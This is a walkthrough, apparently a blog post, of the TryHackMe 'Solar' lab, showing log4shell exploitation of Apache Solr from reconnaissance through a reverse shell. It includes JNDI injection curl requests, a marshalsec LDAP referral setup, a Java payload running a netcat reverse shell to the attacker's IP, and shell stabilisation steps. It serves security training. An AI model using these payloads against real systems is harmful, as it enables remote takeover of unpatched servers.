Solar (log4shell) — TryHackMe

7 min readDec 20, 2021

In this walkthrough we’ll be reviewing all of the offensive tasks for the “Solar” box, running Apache Solr, which is vulnerable to log4shell (CVE-2021–44228).

We’ll be using the inbuilt “Attackbox” browser based interface to interact with the machine.

Reconnaissance

After you deploy the target virtual machine you should be able note it’s IP address.

We’ll first try to check for services that are active and softwares we can talk to. We start off with the following nmap scan (T1595.001: Active Scanning: Scanning IP Blocks), to detect open ports and available services.

nmap -p- -sV -O -oA 10.10.90.126

-p-: Port ranges — Scan ports from 1 through 65535.
-sV: Enables service version detection.
-O: Enables operating system detection.

From the results we see that http port 8983 is open and running Apache Solr. This is also the default port for Apache Solr.

We also see port 22 (ssh) open which could be useful at later stages.

Discovery

Navigating to the URL http://10.10.40.234:8983/, we are presented with the Solr Admin UI dashboard panel. This also redirects our URL to http://10.10.40.234:8983/solr/#/

We see some indications that log4j is being used within the application for logging activity:

-Dlog4j.configurationFile=path/to/log4j2.xml

This above is the path for the log4j configuration file.

TryHackMe also gives us some hints by the way of sample log files (“Download Task Files” under Task 3) to make our job easier.

As stated in the task, one of the log files has a significant number of INFO entries showing repeated requests to /admin/cores URL endpoint. It is also inferred that params field can be used a a data entrypoint that you as an attacker could control (T1592.004: Gather Victim Host Information: Client Configurations).

Proof of Concept

To reach the URL endpoint we just uncovered (admin/cores), we’ll need to preface it with the solr/ prefix when viewing it from the web interface:

http://10.10.40.234:8983/solr/admin/cores

We know that the exploit string to abuse this vulnerability follows the syntax:

${jndi:ldap://example.com/a}

In our case params parameter could be used as a potential attack vector, where we could inject the above exploit string.The above triggers a remote class load, message lookup (example.com) , and execution of the associated content if message lookup substitution was enabled. This means that successful exploitation can allow a remote, unauthenticated attacker to take full control of a vulnerable target system (T1203: Exploitation for Client Execution).

To test this vulnerability we first prepare a netcat listener on our attack machine:

nc -lnvp 9999

-n: Do not do any DNS or service lookups
-l: Used to specify that nc should listen for an incoming connection
rather than initiate a connection to a remote host.
-v: Have nc give more verbose output.
-p: Specifies the source port nc should use

With the above jndi exploit string as the parameter, we make an HTTP request using the curl utility (10.10.18.177 is our attack machine’s IP):

curl 'http://10.10.40.234:8983/solr/admin/cores?foo=$\{jndi:ldap://10.10.18.177:9999\}'

Note: Make sure you escape out the { } curly braces with a single backslash character (\).

After running the above command we should see a “Connection Received” message on our netcat listener, like below (we see the non-printable characters because our netcat listener cannot interpret the ldap request) :

This validates that the target is vulnerable to log4shell and our attack vector we chose could work. We can now attempt to spawn a reverse-shell.

Exploitation

For this step we will utilize a open-source and public utility to stage an “LDAP Referral Server”, called marshalsec. This will help us redirect our the initial request of the victim to another location (here a http server) , where we host our payload (T1090: Connection Proxy).

We must first build marshalsec with the Java builder “maven” (need to separately install maven if you’re not using “Attackbox”). First navigate to the marshalsec folder

cd /root/Rooms/solar/marshalsec

Then run the following command to build the marshalsec utility:

mvn clean package -DskipTests

Now we can start our LDAP referral server to direct connections to a http server (which we will start in a moment).

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.10.33.153:8000/#Exploit"

We now have our LDAP server up and running.

Now we will need to craft our arbitrary code (reverse shell) in Java programming language (T1059: Command and Scripting Interpreter). First we will move to a different directory (/root) and create the Java exploit code called Exploit.java

Our Java payload includes a netcat reverse shell , as seen below (In a real world scenario, our options for creating a reverse shell are limited by the scripting languages installed on the target system (T1059.004: Command and Scripting Interpreter: Unix Shell). In our case the target has been configured with netcat just for ease of exploitation).

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 10.10.33.153 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

(change the IP address to your attack machine)

Now we will compile our payload using the following command:

javac Exploit.java -source 8 -target 8

We can verify that this worked by checking for a new file creation called Expoit.class

With our payload created and compiled, we can now host it by spinning up a temporary python HTTP server in the same directory (T10710: Standard Application Layer Protocol) (T1608.001: Stage Capabilities: Upload Malware).

python3 -m http.server

Next we will prepare a netcat listener to catch our reverse shell in yet another new terminal window (T1095: Standard Non-Application Layer Protocol):

nc -lnvp 9999

Curretly you should have three terminals running the following:

LDAP referral server
HTTP server
netcat listener

With all the above services up and running we are ready to run the jndi exploit string:

curl 'http://10.10.90.126:8983/solr/admin/cores?foo=$\{jndi:ldap://10.10.33.153:1389/Exploit\}'

We should now see a connection back to our netcat listener, as verified by the whoami command (T1033: System Owner/User Discovery)!!

Persistense

We saw earlier that there was ssh service open on the target. We could use this to establish persistent ssh access (T1021.004: Remote Services: SSH).

First we’ll try to stabilize our reverse-shell by following the below steps, as mentioned in the Task 6:

(on the reverse shell) python3 -c "import pty; pty.spawn('/bin/bash')"(press on your keyboard) Ctrl+Z(press on your keyboard) Enter(on your local host) stty raw -echo(on your local host) fg (you will not see your keystrokes -- trust yourself and hit Enter)(press on your keyboard) Enter(press on your keyboard) Enter(on the reverse shell) export TERM=xterm